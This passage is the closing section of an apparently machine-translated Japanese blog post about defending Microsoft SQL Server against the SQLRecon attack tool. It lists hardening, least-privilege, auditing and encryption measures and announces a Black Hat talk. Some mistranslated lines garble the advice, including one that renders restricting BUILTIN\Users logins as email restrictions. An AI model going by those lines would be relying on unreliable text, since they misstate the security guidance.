  • 防御側は、.NETフレームワーク v4.8がWindowsエンドポイントにインストールされていること、および使用されているホストベースのセキュリティー製品がすべて.NET用のAMSIをサポートしていることを確認する必要があります。これにより、メモリー内の.NETアセンブリーのスキャンが可能になります。
  • アプリケーション許可リストソリューションを有効または設定して、次のような未署名のバイナリーを防止します。SQLRecon エンドポイントで直接実行されることもあります

Microsoft SQL Serverのセキュリティー制御

  • 基盤となるWindows Serverオペレーティング・システムでハードニング・ガイドラインが遵守されていることを確認します。必要なSQLデータベース コンポーネントのみをインストールすることを検討してください。
  • SQL Serverが組織のパッチ管理ポリシーに含まれていること、およびSQL Serverに対してパッチが定期的に適用されていることを確認します。
  • 特定のEメールに対する制限または削除を検討してくださいBUILTIN\Users SQL Serverインスタンスに対する認証からアカウントを選択します
  • ユーザー・アカウントのロールを設定する際は、最小権限の原則に従ってください。この原則は、SQL Serverを起動するサービス・アカウントにも適用する必要があります。
  • 不要なSQLサービス・プリンシパル名の関連付けを削除します。
  • 次のようなローカル・アカウントには、強力なパスワードを使用します。sa  アカウント。
  • SQL Serverログオンイベントをログに記録し、INGESTし、監査します。Netwrix社は、これを実現する方法について素晴らしいブログを書いています。
  • 機密コンテンツを暗号化します。これにより、SQL Serverが侵害された場合でも、データ・セットが公開されるのを防ぐことができます。
  • SQL Server間のリンクを評価し、リンクをバインドする認証のタイプを決定します。可能であれば、のコンテキストではなく、現在の認証セキュリティー・コンテキストを使用することを選択してくださいsa  アカウント。
  • 構成されたすべての権限を評価し、その要件を決定します。
  • Azure SQL Databaseを使用している場合は、Microsoft Advanced Threat Protectionが有効であり、アラートを送信するように構成されていることを確認してください。

まとめ

SQL Serverに対する攻撃は、今日のサイバーセキュリティー環境において引き続き重要です。攻撃者は防御的制御を回避するためにその手法を常に進化させており、その中でSQL Serverなどの付随サービスをますます悪用しています。これらの攻撃はより高度かつ巧妙化しており、多くの場合、従来のセキュリティー対策を回避するためにあまり一般的ではない手法が使用されています。

SQL Serverを悪用することで、攻撃者は機密データへの不正アクセスを行い、データベースを操作し、システム全体を侵害する可能性があります。このような攻撃の結果は、データ侵害、経済的損失、組織の評判の低下など、深刻な結果をもたらす可能性があります。

攻撃のリスクを軽減するには、組織はSQL Serverの構成をレビューし、セキュリティーのベスト・プラクティスを採用することが重要です。さらに、組織はリアルタイムの監視、異常検知、行動分析機能を提供するセキュリティー・ソリューションに投資する必要があります。これらのソリューションは、攻撃をより効果的に検知して対応し、クリティカルなデータやシステムへの潜在的な影響を最小限に抑えるのに役立ちます。SQL Server環境を保護するための事前対応型の対策を講じることで、組織はこれらの攻撃の被害に遭うリスクを大幅に軽減し、貴重なデータ資産を保護することができます。

サプライチェーンの最新安定バージョンのSQLRecon は、X-Force Red Githubページにあります。

Black Hat Las Vegasに参加される方で、さらに詳しく知りたい場合は、8月10日木曜日午後1時（太平洋標準時）に開催される私のセッション「Abusing Microsoft SQL Server with SQLRecon」にご参加ください。